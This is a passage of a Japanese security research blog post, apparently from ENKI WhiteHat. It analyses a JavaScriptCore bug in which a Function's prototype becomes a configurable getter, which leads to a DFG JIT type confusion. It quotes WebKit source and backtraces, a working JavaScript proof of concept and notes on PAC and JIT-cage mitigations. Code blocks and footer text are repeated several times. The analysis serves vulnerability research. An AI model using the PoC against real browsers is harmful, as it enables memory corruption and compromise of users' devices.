    size_t newCapacity = newStructure->outOfLineCapacity();
    ...
    if (oldCapacity != newCapacity) {
        Butterfly* newButterfly = allocateMoreOutOfLineStorage(vm, oldCapacity, newCapacity);
        nukeStructureAndSetButterfly(vm, structureID, newButterfly);
    }
    ...
    putDirectOffset(vm, offset, value);
    setStructure(vm, newStructure);
    slot.setNewProperty(this, offset);
    if (newAttributes & PropertyAttribute::ReadOnly)
        newStructure->setContainsReadOnlyProperties();
    if (UNLIKELY(mayBePrototype()))
        vm.invalidateStructureChainIntegrity(VM::StructureChainIntegrityEvent::Add);
    return { };
ALWAYS_INLINE bool JSObject::putInlineFast(JSGlobalObject* globalObject, PropertyName propertyName, JSValue value, PutPropertySlot& slot)
{
    VM& vm = getVM(globalObject);
    auto scope = DECLARE_THROW_SCOPE(vm);

auto error = putDirectInternal<PutModePut>(vm, propertyName, value, 0, slot);
    if (!error.isNull())
        return typeError(globalObject, scope, slot.isStrictMode(), error);
    return true;
}
template<JSObject::PutMode mode>
ALWAYS_INLINE ASCIILiteral JSObject::putDirectInternal(VM& vm, PropertyName propertyName, JSValue value, unsigned newAttributes, PutPropertySlot& slot)
{
    ...
    StructureID structureID = this->structureID();
    Structure* structure = structureID.decode();
    if (structure->isDictionary()) {
        ...
    }
    ...
    unsigned currentAttributes;
    PropertyOffset offset = structure->get(vm, propertyName, currentAttributes);
    if (offset != invalidOffset) {
        ...
    }
    ...
    // We want the structure transition watchpoint to fire after this object has switched structure.
    // This allows adaptive watchpoints to observe if the new structure is the one we want.
    DeferredStructureTransitionWatchpointFire deferredWatchpointFire(vm, structure);
    Structure* newStructure = Structure::addNewPropertyTransition(vm, structure, propertyName, newAttributes, offset, slot.context(), &deferredWatchpointFire);
    ...
    size_t oldCapacity = structure->outOfLineCapacity();
    size_t newCapacity = newStructure->outOfLineCapacity();
    ...
    if (oldCapacity != newCapacity) {
        Butterfly* newButterfly = allocateMoreOutOfLineStorage(vm, oldCapacity, newCapacity);
        nukeStructureAndSetButterfly(vm, structureID, newButterfly);
    }
    ...
    putDirectOffset(vm, offset, value);
    setStructure(vm, newStructure);
    slot.setNewProperty(this, offset);
    if (newAttributes & PropertyAttribute::ReadOnly)
        newStructure->setContainsReadOnlyProperties();
    if (UNLIKELY(mayBePrototype()))
        vm.invalidateStructureChainIntegrity(VM::StructureChainIntegrityEvent::Add);
    return { };

JSObject::putDirectInternal では、butterflyと呼ばれるOOL(Out of line:行外)プロパティに prototype プロパティを追加すると、JSCエンジンはこの this JSObjectの構造遷移(structure transition)をトリガーし、StructureTransitionWatchpoint を発生させます。WatchPoint の概念に関する詳細は、WebKitの公式ブログで見ることができます。

そのため、通常 prototype プロパティは設定不可能(unconfigurable)ですが、この方法を使うことで、prototype プロパティを設定可能(configurable)なOOLプロパティにできてしまいます。

しかし、本質的な疑問はまだ解決していません。

なぜこれが悪用可能なのですか?

この質問に答えるためには、設定不可能(non-configurable)であると想定されていたものが、実際には設定可能(configurable)になった場合に何が起こるかを突き止める必要があります。

そしてテストケースにおいて、test1は非常に興味深いです。

カスタムのFunctionオブジェクトに対してGetterを定義すると、以下のバックトレースを通じてJSFunction::getOwnPropertySlotが呼び出されます。

* frame #0: 0x000000010afe6ab0 JavaScriptCore`JSC::JSFunction::getOwnPropertySlot(object=0x000000011a08e860, globalObject=0x000000011a06a068, propertyName=PropertyName @ 0x000000016fdfd2e0, slot=0x000000016fdfd460) at JSFunction.cpp:345:9
    frame #1: 0x000000010b0d5740 JavaScriptCore`JSC::JSObject::getOwnPropertyDescriptor(this=0x000000011a08e860, globalObject=0x000000011a06a068, propertyName=PropertyName @ 0x000000016fdfd530, descriptor=0x000000016fdfd5c0) at JSObject.cpp:3768:19
    frame #2: 0x000000010b0e94b4 JavaScriptCore`JSC::JSObject::defineOwnNonIndexProperty(this=0x000000011a08e860, globalObject=0x000000011a06a068, propertyName=PropertyName @ 0x000000016fdfd660, descriptor=0x000000016fdfd8f0, throwException=true) at JSObject.cpp:3906:29
    frame #3: 0x000000010b0d33f8 JavaScriptCore`JSC::JSObject::defineOwnProperty(object=0x000000011a08e860, globalObject=0x000000011a06a068, propertyName=PropertyName @ 0x000000016fdfd6e0, descriptor=0x000000016fdfd8f0, throwException=true) at JSObject.cpp:3926:20
    frame #4: 0x000000010afe7188 JavaScriptCore`JSC::JSFunction::defineOwnProperty(object=0x000000011a08e860, globalObject=0x000000011a06a068, propertyName=PropertyName @ 0x000000016fdfd840, descriptor=0x000000016fdfd8f0, throwException=true) at JSFunction.cpp:459:5
    frame #5: 0x000000010b1f1d34 JavaScriptCore`JSC::objectProtoFuncDefineGetter(globalObject=0x000000011a06a068, callFrame=0x000000016fdfda00) at ObjectPrototype.cpp:185:5
* frame #0: 0x000000010afe6ab0 JavaScriptCore`JSC::JSFunction::getOwnPropertySlot(object=0x000000011a08e860, globalObject=0x000000011a06a068, propertyName=PropertyName @ 0x000000016fdfd2e0, slot=0x000000016fdfd460) at JSFunction.cpp:345:9
    frame #1: 0x000000010b0d5740 JavaScriptCore`JSC::JSObject::getOwnPropertyDescriptor(this=0x000000011a08e860, globalObject=0x000000011a06a068, propertyName=PropertyName @ 0x000000016fdfd530, descriptor=0x000000016fdfd5c0) at JSObject.cpp:3768:19
    frame #2: 0x000000010b0e94b4 JavaScriptCore`JSC::JSObject::defineOwnNonIndexProperty(this=0x000000011a08e860, globalObject=0x000000011a06a068, propertyName=PropertyName @ 0x000000016fdfd660, descriptor=0x000000016fdfd8f0, throwException=true) at JSObject.cpp:3906:29
    frame #3: 0x000000010b0d33f8 JavaScriptCore`JSC::JSObject::defineOwnProperty(object=0x000000011a08e860, globalObject=0x000000011a06a068, propertyName=PropertyName @ 0x000000016fdfd6e0, descriptor=0x000000016fdfd8f0, throwException=true) at JSObject.cpp:3926:20
    frame #4: 0x000000010afe7188 JavaScriptCore`JSC::JSFunction::defineOwnProperty(object=0x000000011a08e860, globalObject=0x000000011a06a068, propertyName=PropertyName @ 0x000000016fdfd840, descriptor=0x000000016fdfd8f0, throwException=true) at JSFunction.cpp:459:5
    frame #5: 0x000000010b1f1d34 JavaScriptCore`JSC::objectProtoFuncDefineGetter(globalObject=0x000000011a06a068, callFrame=0x000000016fdfda00) at ObjectPrototype.cpp:185:5
* frame #0: 0x000000010afe6ab0 JavaScriptCore`JSC::JSFunction::getOwnPropertySlot(object=0x000000011a08e860, globalObject=0x000000011a06a068, propertyName=PropertyName @ 0x000000016fdfd2e0, slot=0x000000016fdfd460) at JSFunction.cpp:345:9
    frame #1: 0x000000010b0d5740 JavaScriptCore`JSC::JSObject::getOwnPropertyDescriptor(this=0x000000011a08e860, globalObject=0x000000011a06a068, propertyName=PropertyName @ 0x000000016fdfd530, descriptor=0x000000016fdfd5c0) at JSObject.cpp:3768:19
    frame #2: 0x000000010b0e94b4 JavaScriptCore`JSC::JSObject::defineOwnNonIndexProperty(this=0x000000011a08e860, globalObject=0x000000011a06a068, propertyName=PropertyName @ 0x000000016fdfd660, descriptor=0x000000016fdfd8f0, throwException=true) at JSObject.cpp:3906:29
    frame #3: 0x000000010b0d33f8 JavaScriptCore`JSC::JSObject::defineOwnProperty(object=0x000000011a08e860, globalObject=0x000000011a06a068, propertyName=PropertyName @ 0x000000016fdfd6e0, descriptor=0x000000016fdfd8f0, throwException=true) at JSObject.cpp:3926:20
    frame #4: 0x000000010afe7188 JavaScriptCore`JSC::JSFunction::defineOwnProperty(object=0x000000011a08e860, globalObject=0x000000011a06a068, propertyName=PropertyName @ 0x000000016fdfd840, descriptor=0x000000016fdfd8f0, throwException=true) at JSFunction.cpp:459:5
    frame #5: 0x000000010b1f1d34 JavaScriptCore`JSC::objectProtoFuncDefineGetter(globalObject=0x000000011a06a068, callFrame=0x000000016fdfda00) at ObjectPrototype.cpp:185:5

基本的に、prototypeは設定不可能なプロパティであるため、有効なプロパティオフセットを持つべきではありませんが、バグのためにプロパティオフセットを持ってしまっています。

bool JSFunction::getOwnPropertySlot(JSObject* object, JSGlobalObject* globalObject, PropertyName propertyName, PropertySlot& slot)
{
    VM& vm = globalObject->vm();
    auto scope = DECLARE_THROW_SCOPE(vm);

JSFunction* thisObject = jsCast<JSFunction*>(object);
    if (propertyName == vm.propertyNames->prototype && thisObject->mayHaveNonReifiedPrototype()) {
        unsigned attributes;
        PropertyOffset offset = thisObject->getDirectOffset(vm, propertyName, attributes);
        if (!isValidOffset(offset)) {
            // For class constructors, prototype object is initialized from bytecode via defineOwnProperty().
            ASSERT(!thisObject->jsExecutable()->isClassConstructorFunction());
            thisObject->putDirect(vm, propertyName, constructPrototypeObject(globalObject, thisObject), prototypeAttributesForNonClass);
            offset = thisObject->getDirectOffset(vm, vm.propertyNames->prototype, attributes);
            ASSERT(isValidOffset(offset));
        }
        slot.setValue(thisObject, attributes, thisObject->getDirect(offset), offset);
        return true;
    }
    thisObject->reifyLazyPropertyIfNeeded(vm, globalObject, propertyName);
    RETURN_IF_EXCEPTION(scope, false);
    RELEASE_AND_RETURN(scope, Base::getOwnPropertySlot(thisObject, globalObject, propertyName, slot));
}
bool JSFunction::getOwnPropertySlot(JSObject* object, JSGlobalObject* globalObject, PropertyName propertyName, PropertySlot& slot)
{
    VM& vm = globalObject->vm();
    auto scope = DECLARE_THROW_SCOPE(vm);

JSFunction* thisObject = jsCast<JSFunction*>(object);
    if (propertyName == vm.propertyNames->prototype && thisObject->mayHaveNonReifiedPrototype()) {
        unsigned attributes;
        PropertyOffset offset = thisObject->getDirectOffset(vm, propertyName, attributes);
        if (!isValidOffset(offset)) {
            // For class constructors, prototype object is initialized from bytecode via defineOwnProperty().
            ASSERT(!thisObject->jsExecutable()->isClassConstructorFunction());
            thisObject->putDirect(vm, propertyName, constructPrototypeObject(globalObject, thisObject), prototypeAttributesForNonClass);
            offset = thisObject->getDirectOffset(vm, vm.propertyNames->prototype, attributes);
            ASSERT(isValidOffset(offset));
        }
        slot.setValue(thisObject, attributes, thisObject->getDirect(offset), offset);
        return true;
    }
    thisObject->reifyLazyPropertyIfNeeded(vm, globalObject, propertyName);
    RETURN_IF_EXCEPTION(scope, false);
    RELEASE_AND_RETURN(scope, Base::getOwnPropertySlot(thisObject, globalObject, propertyName, slot));
}
bool JSFunction::getOwnPropertySlot(JSObject* object, JSGlobalObject* globalObject, PropertyName propertyName, PropertySlot& slot)
{
    VM& vm = globalObject->vm();
    auto scope = DECLARE_THROW_SCOPE(vm);

JSFunction* thisObject = jsCast<JSFunction*>(object);
    if (propertyName == vm.propertyNames->prototype && thisObject->mayHaveNonReifiedPrototype()) {
        unsigned attributes;
        PropertyOffset offset = thisObject->getDirectOffset(vm, propertyName, attributes);
        if (!isValidOffset(offset)) {
            // For class constructors, prototype object is initialized from bytecode via defineOwnProperty().
            ASSERT(!thisObject->jsExecutable()->isClassConstructorFunction());
            thisObject->putDirect(vm, propertyName, constructPrototypeObject(globalObject, thisObject), prototypeAttributesForNonClass);
            offset = thisObject->getDirectOffset(vm, vm.propertyNames->prototype, attributes);
            ASSERT(isValidOffset(offset));
        }
        slot.setValue(thisObject, attributes, thisObject->getDirect(offset), offset);
        return true;
    }
    thisObject->reifyLazyPropertyIfNeeded(vm, globalObject, propertyName);
    RETURN_IF_EXCEPTION(scope, false);
    RELEASE_AND_RETURN(scope, Base::getOwnPropertySlot(thisObject, globalObject, propertyName, slot));
}

これはslot.setValue(...)を呼び出し、この関数が直接propertySlotを設定します。ステートメントf.__defineGetter__("prototype", () => {});GetterSetterですが、ウォッチポイントを起動せず、通常のJSValueのように処理されます。

Getterを実行するには、PropertySlot::getValueに到達する必要があります。

ALWAYS_INLINE JSValue PropertySlot::getValue(JSGlobalObject* globalObject, uint64_t propertyName) const
{
    VM& vm = getVM(globalObject);
    if (m_propertyType == TypeValue)
        return JSValue::decode(m_data.value);
    if (m_propertyType == TypeGetter)
        return functionGetter(globalObject);
    return customGetter(getVM(globalObject), Identifier::from(vm, propertyName));
}
ALWAYS_INLINE JSValue PropertySlot::getValue(JSGlobalObject* globalObject, uint64_t propertyName) const
{
    VM& vm = getVM(globalObject);
    if (m_propertyType == TypeValue)
        return JSValue::decode(m_data.value);
    if (m_propertyType == TypeGetter)
        return functionGetter(globalObject);
    return customGetter(getVM(globalObject), Identifier::from(vm, propertyName));
}
ALWAYS_INLINE JSValue PropertySlot::getValue(JSGlobalObject* globalObject, uint64_t propertyName) const
{
    VM& vm = getVM(globalObject);
    if (m_propertyType == TypeValue)
        return JSValue::decode(m_data.value);
    if (m_propertyType == TypeGetter)
        return functionGetter(globalObject);
    return customGetter(getVM(globalObject), Identifier::from(vm, propertyName));
}

JSCで最適化されたコード内でサイドエフェクト(副作用)を機能させるには、DFG(JSCのJITコンパイラの1つ)のAI(Abstract Interpreter:抽象インタプリタ)がそれを実行しても安全であると判断するようにする必要があります。AIは主にJITコンパイラのCFA(Control Flow Analysis:制御フロー解析)フェーズで動作します。DFGのAIが実行しても安全ではない(実際には最適化しても安全ではないという意味)と判断した場合、clobberWorld()を呼び出します。AIは状態マシンの一種であるため、clobberWorld()が呼び出されると、AIの状態はClobberedStructuresに変更されます。そして、この情報はコンスタントフォールディング(定数畳み込み)フェーズで使用され、さらにCSE(共通部分式除去)フェーズなどのいくつかのフェーズでも間接的に使用されます。

しばらく調べたところ、SpreadオペコードはJSImmutableButterflyを作成するときにすべての要素にアクセスできるため、非常に興味深いようです。また、SpreadオペコードはAI解析フェーズで使用され、安全なノードとして判定されます。

以下は、このバグに対するタイプコンフュージョン(型混乱)のPoCです。WebKitのコミットc7d1888949f94118612536ffc3b7f58cf102114bでテストされています。

class Base extends Function {
    constructor() {
        super();
        super.prototype = 1;
    }
}
let victim = [1.1, 2.2, 3.3];
victim[0] = 1.1;
const b = new Base();
function opt(flag) {
    victim[0] = 13.37; victim[1] = 13.37;
    if (flag) [...arr];
    victim[1] = 3.54484805889626e-310;
}
Object.defineProperty(arr, 0, {value:1.1, configurable:false, writable:true});
b.__defineGetter__("prototype", function() { victim[1] = {}; });
for (let i = 0; i < 0x100000; i++) { opt(false); }
arr[0] = b.prototype;
opt(true);
victim[1] + 1;
class Base extends Function {
    constructor() {
        super();
        super.prototype = 1;
    }
}
let victim = [1.1, 2.2, 3.3];
victim[0] = 1.1;
const b = new Base();
function opt(flag) {
    victim[0] = 13.37; victim[1] = 13.37;
    if (flag) [...arr];
    victim[1] = 3.54484805889626e-310;
}
Object.defineProperty(arr, 0, {value:1.1, configurable:false, writable:true});
b.__defineGetter__("prototype", function() { victim[1] = {}; });
for (let i = 0; i < 0x100000; i++) { opt(false); }
arr[0] = b.prototype;
opt(true);
victim[1] + 1;
class Base extends Function {
    constructor() {
        super();
        super.prototype = 1;
    }
}
let victim = [1.1, 2.2, 3.3];
victim[0] = 1.1;
const b = new Base();
function opt(flag) {
    victim[0] = 13.37; victim[1] = 13.37;
    if (flag) [...arr];
    victim[1] = 3.54484805889626e-310;
}
Object.defineProperty(arr, 0, {value:1.1, configurable:false, writable:true});
b.__defineGetter__("prototype", function() { victim[1] = {}; });
for (let i = 0; i < 0x100000; i++) { opt(false); }
arr[0] = b.prototype;
opt(true);
victim[1] + 1;

結論

これは非情に興味深い古典的なサイドエフェクト(副作用)のバグであり、そこから任意の読み書きプリミティブを取得することはそれほど難しいタスクではありませんでした。

しかし、macOSおよびiOS上のWebContentプロセスの制御フローを乗っ取るには、いくつかの防御策を回避する必要があります。

[画像引用元:https://www.synacktiv.com/sites/default/files/2022-10/attacking_safari_in_2022_slides.pdf]

図に示されているように、Appleはハードウェアおよびソフトウェアベースの多数の防御策を導入してきました。

これらの防御策の中でも、特に困難なものとして以下の2つが挙げられます。

  1. PAC(ポインタ認証コード)の回避

  2. JITケージの回避

PACは、仮想関数テーブルなどの機密性の高いポインタを保護するために、2016年にARMv8.3で導入されたハードウェアベースの防御策です。秘密鍵でポインタに署名し、アクセスする前にその署名を検証します。iPhoneのA12プロセッサおよびmacOSのM1以降、PACはSafariなどのAppleプラットフォームのバイナリにおいてデフォルトで有効になっています。したがって、制御フローを乗っ取るには通常、PACの回避が必要です。

最近、WebContentプロセスのための興味深いユーザーモードでのPAC回避手法が公開されています。

もう一つの厄介な防御策は、A15プロセッサ(iPhone 13シリーズ)で導入されたJITケージの回避です。以前は、攻撃者は自身のシェルコードをJITメモリ領域にコピーすることができました。しかし、JITケージの導入により、JITメモリ内での命令の実行が制限され、以下のような命令が実行できなくなりました。

  • RET

  • BR/BLR/BL

  • SVC

  • MRS/MSR

  • PACDA/AUTDA

これは攻撃者が任意の関数を呼び出すのを防ぐことを目的としています。制限される情報はカーネル内の jitbox_cfg_set で設定されています(KDKから簡単に見つけることができます)。

ユーザーモードPACの回避ができれば、JITケージの回避は実際には必須ではありませんが、JITケージを回避せずにWebContentから追加のペイロードを実行するには、[NSExpression exploit](https://googleprojectzero.blogspot.com/2023/10/an-analysis-of-an-in-the-wild-ios-safari-sandbox-escape.html)のような、いくつかのインフラを実装する必要があります。

WebContentからの任意コード実行はますます困難になっており、ユーザーモードにおけるPACやJITケージの回避に関する公の資料は依然として稀少です。

私たちはこれに関するいくつかのアイデアを持っており、もう少しブラッシュアップした上で、機会があれば将来の投稿で取り上げたいと考えています。

ENKI WhiteHat

ENKI WhiteHat

ENKI ホワイトハット
ENKI ホワイトハット

オフェンシブセキュリティの専門企業として、攻撃者の視点から次元の異なるセキュリティを提示します。

オフェンシブセキュリティの専門企業として、攻撃者の視点から次元の異なるセキュリティを提示します。

隙のないセキュリティ設計の始まり、NO.1ホワイトハッカーのノウハウから

インシデント発生前、
今すぐ備えましょう

隙のないセキュリティ設計の始まり、
No.1ホワイトハッカーのノウハウから

インシデント発生前、
今すぐ備えましょう

隙のないセキュリティ設計の始まり、
No.1ホワイトハッカーのノウハウから

インシデント発生前、
今すぐ備えましょう

購読する

コンテンツが役に立ったら?
エンキーレターを購読しましょう!

Copyright © 2025. ENKI WhiteHat Co., Ltd. All rights reserved.

Copyright © 2025. ENKI WhiteHat Co., Ltd. All rights reserved.

Copyright © 2025. ENKI WhiteHat Co., Ltd. All rights reserved.